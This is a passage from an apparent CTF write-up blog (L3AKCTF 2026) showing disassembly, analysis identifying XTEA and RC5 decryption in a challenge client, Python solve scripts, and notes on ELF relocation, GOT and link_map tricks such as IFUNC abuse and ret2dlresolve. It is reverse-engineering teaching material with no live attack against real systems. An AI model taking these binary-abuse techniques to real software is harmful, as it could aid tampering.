| 00401CB8 | 0BC6 | or eax,esi | 00401CBA | C74424 20 7B464BE0 | mov dword ptr ss:[esp+20],E04B467B | 00401CC2 | BE 2037EFC6 | mov esi,C6EF3720 | 00401CC7 | C74424 24 046D8C75 | mov dword ptr ss:[esp+24],758C6D04 | 00401CCF | 90 | nop | 00401CD0 | 8BD3 | mov edx,ebx | 00401CD2 | 8BCB | mov ecx,ebx | 00401CD4 | C1E1 04 | shl ecx,4 | 00401CD7 | C1EA 05 | shr edx,5 | 00401CDA | 33D1 | xor edx,ecx | 00401CDC | 8BCE | mov ecx,esi | 00401CDE | C1E9 0B | shr ecx,B | 00401CE1 | 03D3 | add edx,ebx | 00401CE3 | 83E1 03 | and ecx,3 | 00401CE6 | 8B4C8C 18 | mov ecx,dword ptr ss:[esp+ecx*4+18] | 00401CEA | 03CE | add ecx,esi | 00401CEC | 81C6 4786C861 | add esi,61C88647 | 00401CF2 | 33D1 | xor edx,ecx | 00401CF4 | 2BC2 | sub eax,edx | 00401CF6 | 8BD0 | mov edx,eax | 00401CF8 | 8BC8 | mov ecx,eax | 00401CFA | C1E1 04 | shl ecx,4 | 00401CFD | C1EA 05 | shr edx,5 | 00401D00 | 33D1 | xor edx,ecx | 00401D02 | 8BCE | mov ecx,esi | 00401D04 | 83E1 03 | and ecx,3 | 00401D07 | 03D0 | add edx,eax | 00401D09 | 8B4C8C 18 | mov ecx,dword ptr ss:[esp+ecx*4+18] | 00401D0D | 03CE | add ecx,esi | 00401D0F | 33D1 | xor edx,ecx | 00401D11 | 2BDA | sub ebx,edx | 00401D13 | 83EF 01 | sub edi,1 | 00401D16 | 75 B8 | jne client.401CD0 | 00401D18 | 8B7C24 10 | mov edi,dword ptr ss:[esp+10] | 00401D1C | 8BCB | mov ecx,ebx | 00401D1E | C1E9 18 | shr ecx,18 | 00401D21 | 880C2F | mov byte ptr ds:[edi+ebp],cl | 00401D24 | 8BCB | mov ecx,ebx | 00401D26 | C1E9 10 | shr ecx,10 | 00401D29 | 884C2F 01 | mov byte ptr ds:[edi+ebp+1],cl | 00401D2D | 8BCB | mov ecx,ebx | 00401D2F | C1E9 08 | shr ecx,8 | 00401D32 | 884C2F 02 | mov byte ptr ds:[edi+ebp+2],cl | 00401D36 | 8BC8 | mov ecx,eax | 00401D38 | C1E9 18 | shr ecx,18 | 00401D3B | 884C2F 04 | mov byte ptr ds:[edi+ebp+4],cl | 00401D3F | 8BC8 | mov ecx,eax | 00401D41 | C1E9 10 | shr ecx,10 | 00401D44 | 884C2F 05 | mov byte ptr ds:[edi+ebp+5],cl | 00401D48 | 8BC8 | mov ecx,eax | 00401D4A | C1E9 08 | shr ecx,8 | 00401D4D | 885C2F 03 | mov byte ptr ds:[edi+ebp+3],bl | 00401D51 | 884C2F 06 | mov byte ptr ds:[edi+ebp+6],cl | 00401D55 | 88442F 07 | mov byte ptr ds:[edi+ebp+7],al | 00401D59 | 83C5 08 | add ebp,8 | 00401D5C | 3B6C24 14 | cmp ebp,dword ptr ss:[esp+14] | 00401D60 | 0F82 FAFEFFFF | jb client.401C60 | 00401D66 | 5E | pop esi | 00401D67 | 5B | pop ebx | 00401D68 | 5F | pop edi | 00401D69 | 5D | pop ebp | 00401D6A | 83C4 18 | add esp,18 | 00401D6D | C3 | ret | My attention is drawn to the instruction add esi,61C88647 which is commonly used in TEA/XTEA decryption. After putting in some effort to examine how data is transformed, I confirm that this is 100% XTEA decryption. This blob decrypts the payload that the server sent, using these 4 keys\n1 2 3 4 mov dword ptr ss:[esp+18],EBDA2075 mov dword ptr ss:[esp+1C],DE70E310 mov dword ptr ss:[esp+20],E04B467B mov dword ptr ss:[esp+24],758C6D04 After that, I found this instruction\n1 0043F4B7 | C707 6351E1B7 | mov dword ptr ds:[edi],B7E15163 | Basically if you have encountered enough rev challenges, you will know this is a constant in the RC5 encryption/decryption (or you can search gg). After looking around how data is transferred and processed with that constant, there is a fixed array with a length of 26 is generated\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 00D3F6F8 B7E15163 00D3F6FC 5618CB1C 00D3F700 F45044D5 00D3F704 9287BE8E 00D3F708 30BF3847 00D3F70C CEF6B200 00D3F710 6D2E2BB9 00D3F714 0B65A572 00D3F718 A99D1F2B 00D3F71C 47D498E4 00D3F720 E60C129D 00D3F724 84438C56 00D3F728 227B060F 00D3F72C C0B27FC8 00D3F730 5EE9F981 00D3F734 FD21733A 00D3F738 9B58ECF3 00D3F73C 399066AC 00D3F740 D7C7E065 00D3F744 75FF5A1E 00D3F748 1436D3D7 00D3F74C B26E4D90 00D3F750 50A5C749 00D3F754 EEDD4102 00D3F758 8D14BABB 00D3F75C 2B4C3474 00D3F760 00D3F898 This matches perfectly with what RC5 produces. So this is most likely the RC5 key expansion function, we need to determine whether this is used for encryption or decryption\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 00401171 | 0F84 C9000000 | je client.401240 | 00401177 | 66:0F1F8400 000000 | nop word ptr ds:[eax+eax],ax | 00401180 | 8B7424 18 | mov esi,dword ptr ss:[esp+18] | 00401184 | 0FB6541E 13 | movzx edx,byte ptr ds:[esi+ebx+13] | 00401189 | 0FB6441E 12 | movzx eax,byte ptr ds:[esi+ebx+12] | 0040118E | 0FB64C1E 16 | movzx ecx,byte ptr ds:[esi+ebx+16] | 00401193 | C1E2 08 | shl edx,8 | 00401196 | 0BD0 | or edx,eax | 00401198 | 0FB6441E 11 | movzx eax,byte ptr ds:[esi+ebx+11] | 0040119D | C1E2 08 | shl edx,8 | 004011A0 | 0BD0 | or edx,eax | 004011A2 | 0FB6441E 10 | movzx eax,byte ptr ds:[esi+ebx+10] | 004011A7 | C1E2 08 | shl edx,8 | 004011AA | 0BD0 | or edx,eax | 004011AC | 0FB6441E 17 | movzx eax,byte ptr ds:[esi+ebx+17] | 004011B1 | C1E0 08 | shl eax,8 | 004011B4 | 0BC1 | or eax,ecx | 004011B6 | 0FB64C1E 15 | movzx ecx,byte ptr ds:[esi+ebx+15] | 004011BB | C1E0 08 | shl eax,8 | 004011BE | 0BC1 | or eax,ecx | 004011C0 | 0FB64C1E 14 | movzx ecx,byte ptr ds:[esi+ebx+14] | 004011C5 | C1E0 08 | shl eax,8 | 004011C8 | BE 0C000000 | mov esi,C | 0C:\u0026#39;\\f\u0026#39; 004011CD | 0BC1 | or eax,ecx | 004011CF | 90 | nop | 004011D0 | 2B44F4 2C | sub eax,dword ptr ss:[esp+esi*8+2C] | 004011D4 | 8ACA | mov cl,dl | 004011D6 | 80E1 1F | and cl,1F | 004011D9 | D3C8 | ror eax,cl | 004011DB | 33C2 | xor eax,edx | 004011DD | 2B54F4 28 | sub edx,dword ptr ss:[esp+esi*8+28] | 004011E1 | 8AC8 | mov cl,al | 004011E3 | 4E | dec esi | 004011E4 | 80E1 1F | and cl,1F | 004011E7 | D3CA | ror edx,cl | 004011E9 | 33D0 | xor edx,eax | 004011EB | 83FE 01 | cmp esi,1 | 004011EE | 7D E0 | jge client.4011D0 | 004011F0 | 8B7424 10 | mov esi,dword ptr ss:[esp+10] | [esp+10]:L\u0026#34;AddressFamily\u0026#34; 004011F4 | 2B5424 28 | sub edx,dword ptr ss:[esp+28] | 004011F8 | 2B4424 2C | sub eax,dword ptr ss:[esp+2C] | 004011FC | 8BCA | mov ecx,edx | 004011FE | C1E9 08 | shr ecx,8 | 00401201 | 884C33 01 | mov byte ptr ds:[ebx+esi+1],cl | 00401205 | 8BCA | mov ecx,edx | 00401207 | C1E9 10 | shr ecx,10 | 0040120A | 884C33 02 | mov byte ptr ds:[ebx+esi+2],cl | 0040120E | 8BC8 | mov ecx,eax | 00401210 | C1E9 08 | shr ecx,8 | 00401213 | 884C33 05 | mov byte ptr ds:[ebx+esi+5],cl | 00401217 | 8BC8 | mov ecx,eax | 00401219 | 881433 | mov byte ptr ds:[ebx+esi],dl | 0040121C | 884433 04 | mov byte ptr ds:[ebx+esi+4],al | 00401220 | C1EA 18 | shr edx,18 | 00401223 | C1E9 10 | shr ecx,10 | 00401226 | C1E8 18 | shr eax,18 | 00401229 | 885433 03 | mov byte ptr ds:[ebx+esi+3],dl | 0040122D | 884C33 06 | mov byte ptr ds:[ebx+esi+6],cl | 00401231 | 884433 07 | mov byte ptr ds:[ebx+esi+7],al | 00401235 | 83C3 08 | add ebx,8 | 00401238 | 3BDF | cmp ebx,edi | 0040123A | 0F82 40FFFFFF | jb client.401180 | 00401240 | 8B4424 14 | mov eax,dword ptr ss:[esp+14] | 00401244 | 8A5C30 EF | mov bl,byte ptr ds:[eax+esi-11] | 00401248 | 84DB | test bl,bl | This part gives us enough information to conclude this is used to decrypt. After 0x4011D0, the value, stored in EAX and EDX, is respectively the first 2 DWORD of the decrypted payload with XTEA. The RC5 S table is stored at [ESP + 0x28]. It is then subtracting with S[2 * i + 1] (ESI is the current loop index). Then xor-ing and ror-ing with EDX (the second value in the decrypting routines) and . These evidences are enough to confirm this is for decryption\nAfter these two decrypting rountines, I could not find any others. So I decided to decrypt the first payload group that server sent to client in the challenge.pcap file and it produces a readable string. Wow this is incrediable, all thing is now clear, we just need to do this with all other payload groups with the belief that client -\u0026gt; server uses the similar decrypting method :D\nAnd yeah we found the flag\nPOC challcrypto.py\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 #!/usr/bin/env python3 import struct from pwn import * def xtea_encrypt(v0, v1, key, num_rounds=32): delta = 0x9E3779B9 sum_val = 0 for _ in range(num_rounds): v0 = (v0 + (((v1 \u0026lt;\u0026lt; 4 ^ v1 \u0026gt;\u0026gt; 5) + v1) \\ ^ (sum_val + key[sum_val \u0026amp; 3]))) \u0026amp; 0xFFFFFFFF sum_val = (sum_val + delta) \u0026amp; 0xFFFFFFFF v1 = (v1 + (((v0 \u0026lt;\u0026lt; 4 ^ v0 \u0026gt;\u0026gt; 5) + v0) \\ ^ (sum_val + key[(sum_val \u0026gt;\u0026gt; 11) \u0026amp; 3]))) \u0026amp; 0xFFFFFFFF return v0, v1 def xtea_decrypt(v0, v1, key, num_rounds=32): delta = 0x9E3779B9 sum_val = (delta * num_rounds) \u0026amp; 0xFFFFFFFF for _ in range(num_rounds): v1 = (v1 - (((v0 \u0026lt;\u0026lt; 4 ^ v0 \u0026gt;\u0026gt; 5) + v0) \\ ^ (sum_val + key[(sum_val \u0026gt;\u0026gt; 11) \u0026amp; 3]))) \u0026amp; 0xFFFFFFFF sum_val = (sum_val - delta) \u0026amp; 0xFFFFFFFF v0 = (v0 - (((v1 \u0026lt;\u0026lt; 4 ^ v1 \u0026gt;\u0026gt; 5) + v1) \\ ^ (sum_val + key[sum_val \u0026amp; 3]))) \u0026amp; 0xFFFFFFFF return v0, v1 parsed_key = [ 0xEBDA2075, 0xDE70E310, 0xE04B467B, 0x758C6D04 ] P32 = 0xB7E15163 Q32 = 0x9E3779B9 T = 26 C = 4 MASK32 = 0xffffffff def rc5_setup(key_bytes): key = list(struct.unpack(\u0026#34;\u0026lt;4I\u0026#34;, key_bytes)) # print(\u0026#39; \u0026#39;) S = [0] * 26 S[0] = P32 for i in range(1, 26): S[i] = S[i - 1] + Q32 A = B = 0 i = j = 0 for _ in range(3 * max(T, C)): A = rol((S[i] + A + B) \u0026amp; MASK32, 3, 32) S[i] = A B = rol((key[j] + A + B) \u0026amp; MASK32, (A + B) % 32, 32) key[j] = B i = (i + 1) % T j = (j + 1) % C return S, key R = 12 def rc5_decrypt_helper(v0, v1, S, Key): A = v0 B = v1 for i in range(R, 0, -1): B = ror((B - S[2 * i + 1]) \u0026amp; MASK32, A \u0026amp; 31, 32) ^ A A = ror((A - S[2 * i]) \u0026amp; MASK32, B \u0026amp; 31, 32) ^ B return (A - S[0]) \u0026amp; MASK32, (B - S[1]) \u0026amp; MASK32 solve.py\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 #!/usr/bin/env python3 from challcrypto import * import struct class Packet: def __init__(self, len, random_16, payload): self.len = len self.random_16 = bytes.fromhex(random_16) self.payload = bytes.fromhex(payload) def xtea_decrypt(self): # payload need tobe big endian len_pay = self.len - 16 data = list(struct.unpack(\u0026#39;\u0026gt;\u0026#39; + \u0026#39;I\u0026#39; * (len_pay // 4), self.payload)) for i in range(0, len(data), 2): data[i], data[i + 1] = xtea_decrypt(data[i], data[i + 1], parsed_key) self.decrypt_xtea = [] for i in data: self.decrypt_xtea.append( int.from_bytes( int.to_bytes(i, 4, \u0026#39;big\u0026#39;), \u0026#39;little\u0026#39; ) ) return def rc5_decrypt(self): self.S, self.K = rc5_setup(self.random_16) data = [0] * len(self.decrypt_xtea) decrypted = b\u0026#39;\u0026#39; for i in range(0, len(self.decrypt_xtea), 2): data[i], data[i + 1] = rc5_decrypt_helper( self.decrypt_xtea[i], self.decrypt_xtea[i + 1], self.S, self.K ) decrypted += int.to_bytes(data[i], 4, \u0026#39;little\u0026#39;) + int.to_bytes(data[i + 1], 4, \u0026#39;little\u0026#39;) print(decrypted) def decrypted_str(self): self.xtea_decrypt() self.rc5_decrypt() Conversation = \u0026#34;\u0026#34;\u0026#34; 00000030 c754ca2e961aab4d19651a6feb05b197 a9f78277f60005571e8f72de2e8ea9546f1d585214d9980233d137ea3e56344f 00000020 c0d02bcc0fc6ff2e4f5c453369d8331e ffda220bcd73e65ed72bb32c2f2fa919 000000a0 ec345ee8276dcf20201bcfdd86518c27 51e52e6608ae4d3d957fccdaa14393421aeef859d632349cbee5535b9eaf2cdeb3a47cedbd7001420a2d5a749000ad2ebb92c4d5195cc4467cd56ddc0402395374321db28def1f25f63b56fb72b160f4faffc24ca42d8c61dc73e28caa54a8e48ae5739715fc610dad4f5360ea11e2d0aaf5bd71270a48b9febfc19f295caeae14fa1ef80fdf8cf6bf43d592b14ce0df 000000a8 ac16ac0e7f8aac3bf51564e6b7729c0f dbeeb044c321257a3626fbdfa9460a7fb25fcd13f87e3e72b1af38b9e55d42acb1bbd652d30fb5303b005ca47e4623e1e956681cfdff3e5db1110c0c80bce27d4040c2d5e1048b9364a5be73c861254f3b1a03c5aa56bf6208155fba6a57a169fabf5fff8a95e6c891b08b6f9a755f61466af24e786776e144c75294b77097ee5b6e4526bf0a359d1058ab6dafc86ef6e11fa52a62070bd4 00000098 7fac95e31b384d7cb5abd1da8de96d5e e8847e0d018e172ca92685491048b924ee717025a85073ce1a40b80e47b237066d078f19a8e2829e9c90f2c1a231cfd267ffdc256665e41c36a0990b5fd0eaf6fa3f9a118b4d654b15958b252cbed39589b1066856eb6a10a2b2620c317f0d2d4bdc914d43fa22ea0e91a8eacbba7a77b0986ad3d6d14a2a05123a59ad915a610a80cf2f843064ec 00000058 08b1ca47701757bb3255ebb24ac65ae9 4f0e5357362fa3e51ba067c3720f15c2a1c2986972779ad1abe5a917985d1ebed5ec30e54a858210ec4c26b43c1d41808d7dfd3c8e731aff603ed6d1769ad76b204cb55254a2450e 00000060 5738ba59ef342ecccd9cac3432b8d722 998cb2ae31c85606218fc3671ec225dbfdc5a3ba7b9e033abde392d3e1c2c220c45fb334aeac891462c32b17aa9040734f686285a48552890a79a9bc3275826dcfa66cdefa707085422c6980b5e568d4 00000038 aac823a995087a8001c919a023464e36 67331b2ffe1e4f5764301ccca2acf9baceb640eb02ace49574c86e35e28545d9698daaf672393dcd 00000040 3eb06bc2153cd05a6a869adf4ad4f5f1 1581e60f0182edeac358002631f50ba195b8080e1d0a4f980bb5cbe31ff42db5668d8b8474e59ad0a98e3a719df00a06 00000050 4d0cfbc210ac10486ab00dee478a399f 377e753c27a9caafe5e5f82dc40d8c13092903ff2fac44a3e0138a1ae25b7009263dbc9ee045b178c5ac5311581a7251f153b6c765f285001c456e9caf87614e 00000050 0b727a339ce4e2a3856f54dd8c5c0fa3 f0ec3891dadc4baacd996718aee53b51a053f380be20c39a12c83628bd6d7c7e0d8505a0c9a52b88c833bf0b68c690a62cbd9198215884ee3052aaf3138f7769 000000b0 519e02ef03873c8fb178f5d5495cdee6 0627990e3613d6742d4e44802471a87be9caa6e77a1b92638f9507a89df646bb9ede81fc7add1c5a6ea5cbfcac105b939b7a9b37abf85762067ec879c46c9de012b93736f4dab47413b617004fcc077fe714a1a9c48a2db994794b1c8680179fb59a240a8fdf53419c1901e568f82405dad644671c9e2a093f882ff688c478000b6113bf1d5f0b5b781c08a99160de0071737d724cc74da91b3bad37267cbbe3 000000b8 000cd99900dd7029ca5a3f56c738fb8a e16fb48e62504bf4bfeed965ced369cb45a7846006ee97895e5434787e8fc532e5f4ae9b5a3ffaa5a4e9077a84db4d04496a51319fccc973537e24f65ad663a43812b912205d22217a8ad48788222c914f722fcfbfed8230cd7e1fa5f34133081e558ed6aef3f2f2191ed2fca9f4dbe6a13a2b1876711d0e25b3eeb5297300a865780a0d9c2c680737f59696513c808cb8d5a6d5ef69df236ea9ddb0b536f6444221238539e7ccc6 00000080 39f5d9ec1ce3dfa97261b37ffc9ba448 2dbd6620608922e28d36d6450112732f07ff912faf03ac492f6b61adf63253a1e3b80b4ded8a23d4dae401d71143f81eff1b4c0fa02d09103f0fc0fa31201f4c26cc0382e3cbe07c779a7f2929ca71aa808d81efb2e6a86b72c6e35ff32e12f35087ec6a43ce0292c3abdf81df81578b 00000030 546b927da2329ac478685457dddf9d0d 66cf94e2094455341df3bbc4d1e8dda9836906656271b3d4dd0c6959f4104c08 00000038 dd0fdce9847d4c66525678a756e43c4f d6e149a95fd566621dff3d14eebe89b48d3f228cfdc9971c72a54b36706405b90763ba9ab195682e 00000068 94b6e99f9ccac36fac3a1f5647c0130c 82d0c0a2a1d97c355b25b4cb2df9648d650c92862ff1b10140d4e42c76d3f1b93d82e0d1f84a3e6dd1ba5e320f2c9e31c55aceac87be7f72e46bbaae60b8feee5c65e9cc86823bed09974e0beb92797998111e48319a9297 00000018 e55caf27c727d1c8f002494969f956c2 98368fe76f85dced \u0026#34;\u0026#34;\u0026#34;.strip().split(\u0026#34;\\n\u0026#34;) for i in range(0, len(Conversation), 3): length = int(Conversation[i], 16) ran = Conversation[i + 1] payload = Conversation[i + 2] Packet( length, ran, payload ).decrypted_str() Note It would have been greater if I solved this challenge by deobfuscating the challenge. But whatever the solution was, I solved it. But I think I would spend some extra attempts to try to deobfuscate this binary and hopefully success :D\n","permalink":"https://ryouthecat.github.io/posts/ctf/l3ak2026/","summary":"\u003ch3 id=\"subleq-scramble-77-solves\"\u003eSubleq Scramble (77 solves)\u003c/h3\u003e\n\u003cp\u003eThis was an interesting challenge although it was not that hard, we could still learn something from analyzing this challenge\u003c/p\u003e\n\u003cp\u003e\u003cimg alt=\"image\" loading=\"lazy\" src=\"/posts/ctf/l3ak2026/subleq_1.png\"\u003e\u003c/p\u003e\n\u003cp\u003eThe downloaded file is a raw binary file with no recognizable format. From the challenge\u0026rsquo;s description, we know that this is a dump of memory state of a SUBLEQ emulator after encrypting an image\u003c/p\u003e\n\u003cp\u003eJust in case you don\u0026rsquo;t know what a \u0026ldquo;subleq emulator\u0026rdquo; is. Basically SUBLEQ means \u0026ldquo;Subtract and Branch if Less than or Equal to Zero\u0026rdquo;. SUBLEQ is considered a finite-state machine because of the boundary in memory range (for example 8-bit, 16-bit, 32-bit, \u0026hellip;) But abstractly, it could be witnessed as a turing-complete machine\u003c/p\u003e","title":"L3AKCTF 2026"},{"content":"Troll branch I gonna make this real quick because this is a fake flag\nSo basically there are multiple ELF binary files embedded in the main executable. Each ELF binary validates every 7 consecutive bytes of the flag by encrypting it with XTEA and comparing with the constant hard-coded in the binary\nThe 7 consecutive bytes are changed into 8-byte sequence by this modification: a[i] = variable + variable / 255 + 1 and variable /= 255\nWe could recover the variable by using these steps\n1 2 3 4 5 6 variable = 255 * k + r a[i] = (variable + variable / 255 + 1) % 256 = (255 * k + r + k + 1) % 256 = (256 * k + r + 1) % 256 = r + 1 =\u0026gt; variable = 255 * k + a[i] - 1 Whereas K is the previous \u0026#34;variable\u0026#34; value The memfd_create -\u0026gt; fork -\u0026gt; fexecve is pretty insane and new to me, read the Lesson Learnt for more details\nIn the solve script I used z3 because I was lazy to infer the reverse formula\nSolve script\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 #!/usr/bin/env python3 from pwn import * from z3 import * with open(\u0026#39;main\u0026#39;, \u0026#39;rb\u0026#39;) as f: data = f.read() length = 995 embedded_blob = 0x1F018 embedded_offset = 0x1A180 key_fos = 0x1283 MASK = 0xFFFFFFFF DELTA = 0x9E3779B9 def xtea_decrypt(data: int, key: list[int]) -\u0026gt; int: key = [word \u0026amp; MASK for word in key] v0 = data \u0026amp; MASK v1 = (data \u0026gt;\u0026gt; 32) \u0026amp; MASK total = (DELTA * 32) \u0026amp; MASK for _ in range(32): v1 = ( v1 - ( (((v0 \u0026lt;\u0026lt; 4) ^ (v0 \u0026gt;\u0026gt; 5)) + v0) ^ (total + key[(total \u0026gt;\u0026gt; 11) \u0026amp; 3]) ) ) \u0026amp; MASK total = (total - DELTA) \u0026amp; MASK v0 = ( v0 - ( (((v1 \u0026lt;\u0026lt; 4) ^ (v1 \u0026gt;\u0026gt; 5)) + v1) ^ (total + key[total \u0026amp; 3]) ) ) \u0026amp; MASK return v0 | (v1 \u0026lt;\u0026lt; 32) png = b\u0026#39;\u0026#39; DEBUG = False blob_offset = 0 for elf_id in range(length): if elf_id % 100 == 0: print(f\u0026#34;Phase {elf_id}\u0026#34;) offset = u64(data[embedded_offset + blob_offset: embedded_offset + blob_offset + 8]) size = u64(data[embedded_offset + blob_offset + 8: embedded_offset + blob_offset + 16]) blob_offset += 16 assert(data[:4] == b\u0026#39;\\x7fELF\u0026#39;) ELF_Off = embedded_blob + offset + key_fos key = [ int.from_bytes(data[ELF_Off:ELF_Off+7][3:], \u0026#39;little\u0026#39;), int.from_bytes(data[ELF_Off+7:ELF_Off+14][3:], \u0026#39;little\u0026#39;), int.from_bytes(data[ELF_Off+14:ELF_Off+21][3:], \u0026#39;little\u0026#39;), int.from_bytes(data[ELF_Off+21:ELF_Off+28][3:], \u0026#39;little\u0026#39;), ] result = int.from_bytes( data[ embedded_blob + offset + 0x13c3: embedded_blob + offset + 0x13c3 + 8 ] , \u0026#39;little\u0026#39; ) llll = xtea_decrypt(result, key) res = p64(llll) s = Solver() x = BitVec(\u0026#39;x\u0026#39;, 64) value = x s.add(value | 0xffffffffffffff == 0xffffffffffffff) for i in range(8): s.add( (value + UDiv(value, 255) + 1) \u0026amp; 0xff == int(res[7 - i]) ) value = UDiv(value, 255) if s.check() == sat: model = s.model() flag = model.eval(x).as_long() else: print(f\u0026#34;Not good! {elf_id} {blob_offset}\u0026#34;) assert(False) if DEBUG: print(\u0026#39; \u0026#39;.join(hex(i) for i in key)) print(hex(llll)) print(hex(flag)) print(hex(result)) print(int.to_bytes(flag, 7, \u0026#39;big\u0026#39;)) try: png += int.to_bytes(flag, 7, \u0026#39;big\u0026#39;) except: print(hex(flag)) exit(0) with open(\u0026#39;flag.png\u0026#39;, \u0026#39;wb\u0026#39;) as f: f.write(png) Challenge Trick These are things you need to understand to figure out the author\u0026rsquo;s trick. I\u0026rsquo;m pretty sure you guys already know these things before but haven\u0026rsquo;t done any serious research on them, and yeah neither have I. So we will explore them together\nRelocation The structure of ELF64_Rela is\n1 2 3 4 5 struct ELF64_Rela { Elf64_Addr r_offset; // offset of an address with base address Elf64_Xword r_info; // The high dword is symbol index, and low is operation type Elf64_Sxword r_addend; // addend value used to adjust the computation }; For example: R_X86_64_64: Write at offset r_offset the value of symbol\u0026rsquo;s address + Addend Formula: P = S + A\nR_X86_64_COPY: Copy the symbol\u0026rsquo;s actualy data into P Formula: memcpy(P, S, sizeof(S))\nR_X86_64_RELATIVE64: Write Base + Addend to offset r_offset Formula: P = B + A\nR_X86_64_GLOB_DAT: Write its symbol\u0026rsquo;s address at runtime to offset r_offset Formula: P = S\nR_X86_64_PC32/64: Write to offset r_offset a 32-bit/64-bit displacement from r_offset to the symbol\u0026rsquo;s address + r_addend Formula: P = S + A - P\nSymbol The structure of ELF64_Sym is\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 struct ELF64_Sym { // index to string table for example .strtab for // static symbols, .dynstr for dynamic symbols/imporots uint32_t st_name; // some info unsigned char st_info; // byte that show symbol\u0026#39;s visibility (0 = DEFAULT, 2 = HIDDEN) unsigned char st_other; // index that tell linker which section does this symbol belongs // to for example .text, .data, .bss uint16_t st_shndx; // depend on what symbol is that, it could be virtual address (after // statically resolved), or offset compared to section header in object (.o) file uint64_t st_value; // Size of symbol for example functions, object, ... // For example size in bytes of function, or primitive data type size,... uint64_t st_size; }; The st_info is important here. It is an one-byte variable storing two packed fields, I will mention only the important ones\nThe high 4-bit is Binding\nSTB_LOCAL (0) visible only inside object file STB_GLOBAL (1) visible to all object files being linked STB_WEAK (2) Like STB_GLOBAL, but has weaker precedence The low 4-bit is Type\nSTT_NOTYPE (0) Undefined type STT_OBJECT (1) A data variable (Like array or struct) STT_FUNC (2) Executable code / function STT_GNU_IFUNC (10) GNU IFUNC The significant pivot we need to take a look is STB_WEAK and STT_GNU_IFUNC. They could be used to change the program execution flow deliberately\nWhen a program wants to resolve an address of a specific symbol, it does\nFirstly if the symbol is defined in current binary, which usually means st_shndx != SHN_UNDEF, the program will get the value of st_value which is already resolved at the static linking phase by ld.so. Additionally, if STT_GNH_IFUNC flag is enabled, the shellcode stored at st_value will be triggered to resolve the address\nSecondly, if the symbol is not defined, the program will hunt for the symbol\u0026rsquo;s address globally base on the string stored at index st_name in the dynamic string table\nLinkMap As you know in ELF there is a thing called Lazy Binding. Because of this feature, the address of a function in shared library will be dynamically resolved by ld.so directly or whenever the function is being called.\nAnd the address is resolved and stored in GOT (Global Offset Table). Whenever a program wants to use a function, it calls an indirect stub called PLT (procedure linkage table) which is used to lazily resolved the GOT address or the PLT\nIn GOT, the first 3 elements are special.\nIndex Meaning GOT[0] Store the address to the dynamic section which supplies the information for ld.so GOT[1] Store a pointer to link_map structure used by ld.so to track loaded object GOT[2] Hold an address of dynamic runtime resolver _dl_runtime_resolved Alright these seem important but remembering it is unnecessary in some case, however in this challenge, the author abuses the GOT[1] to access the binary data before a binary\u0026rsquo;s entry point is actually executed\nThere is a technique in terms of exploiting called ret2dlresolve by hijacking the reloc_arg passed through the _dl_runtime_resolved. We could manually control the function that _dt_runtime_resolved resolves\nWell talking about that would take a huge amount of time of me and you, so we only mention about how the challenge abuses it. If there is any other techniques using it, we could do research later\nSo basically its layout is\n1 2 3 4 5 6 7 8 9 struct link_map { /* 0x00 */ ElfW(Addr) l_addr; // The ASLR slide (base address difference) /* 0x08 */ char *l_name; // Absolute path to the loaded library /* 0x10 */ ElfW(Dyn) *l_ld; // Pointer to the object\u0026#39;s .dynamic section /* 0x18 */ struct link_map *l_next; // Next object in the chain /* 0x20 */ struct link_map *l_prev; // Previous object in the chain /* 0x40 */ ElfW(Addr) l_info[DT_NUM + DT_THISPROCNUM + DT_VERSIONTAGNUM ...]; }; l_info is using to cache the address of other dynamic sections. For example l_info[DT_SYMTAB] -\u0026gt; .dynsym\nl_addr often stores loading bias, usually means the difference between the actual loaded base address with the preferred base address. For example, It could be used to leak libc base address because libc declares its static base in ELF header is 0x0. So loading bias = libc base\nThe real one The general concept of this binary is leveraging the ability of the relocation process that linker performs to hide main the validation,\nSuspicious Pivot The first thing that we could notice is a weird rela.tivity section. By inspecting it, we could see that it is used to modifty the DT_RELASZ of each embedded binary. This part is not really important in terms of analyzing but drive a huge effect to the result of the challenge because the default embedded DT_RELASZ is not large enough to cover the whole hidden logic. So this part is used to expand. This is just a small obfuscation that could confuse us a little bit.\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 ryou@Ryou:~/reverse/m_chall_dh$ readelf -SW main There are 31 section headers, starting at offset 0x16975760: Section Headers: [Nr] Name Type Address Off Size ES Flg Lk Inf Al [ 0] NULL 0000000000000000 000000 000000 00 0 0 0 [ 1] .interp PROGBITS 0000000000000318 000318 00001c 00 A 0 0 1 ...... [ 8] .gnu.version VERSYM 0000000000000804 000804 00003a 02 A 6 0 2 [ 9] .gnu.version_r VERNEED 0000000000000840 000840 000070 00 A 7 1 8 [10] .rela.dyn RELA 00000000000008b0 0008b0 000108 18 A 6 0 8 [11] .rela.tivity RELA 00000000000009b8 0009b8 017520 18 WA 6 0 1 [12] .rela.plt RELA 0000000000017ed8 017ed8 0001e0 18 AI 6 24 8 ...... [29] .strtab STRTAB 0000000000000000 169751e8 000455 00 0 0 1 [30] .shstrtab STRTAB 0000000000000000 1697563d 00011e 00 0 0 1 Idk why I put this output here but yeah make it less 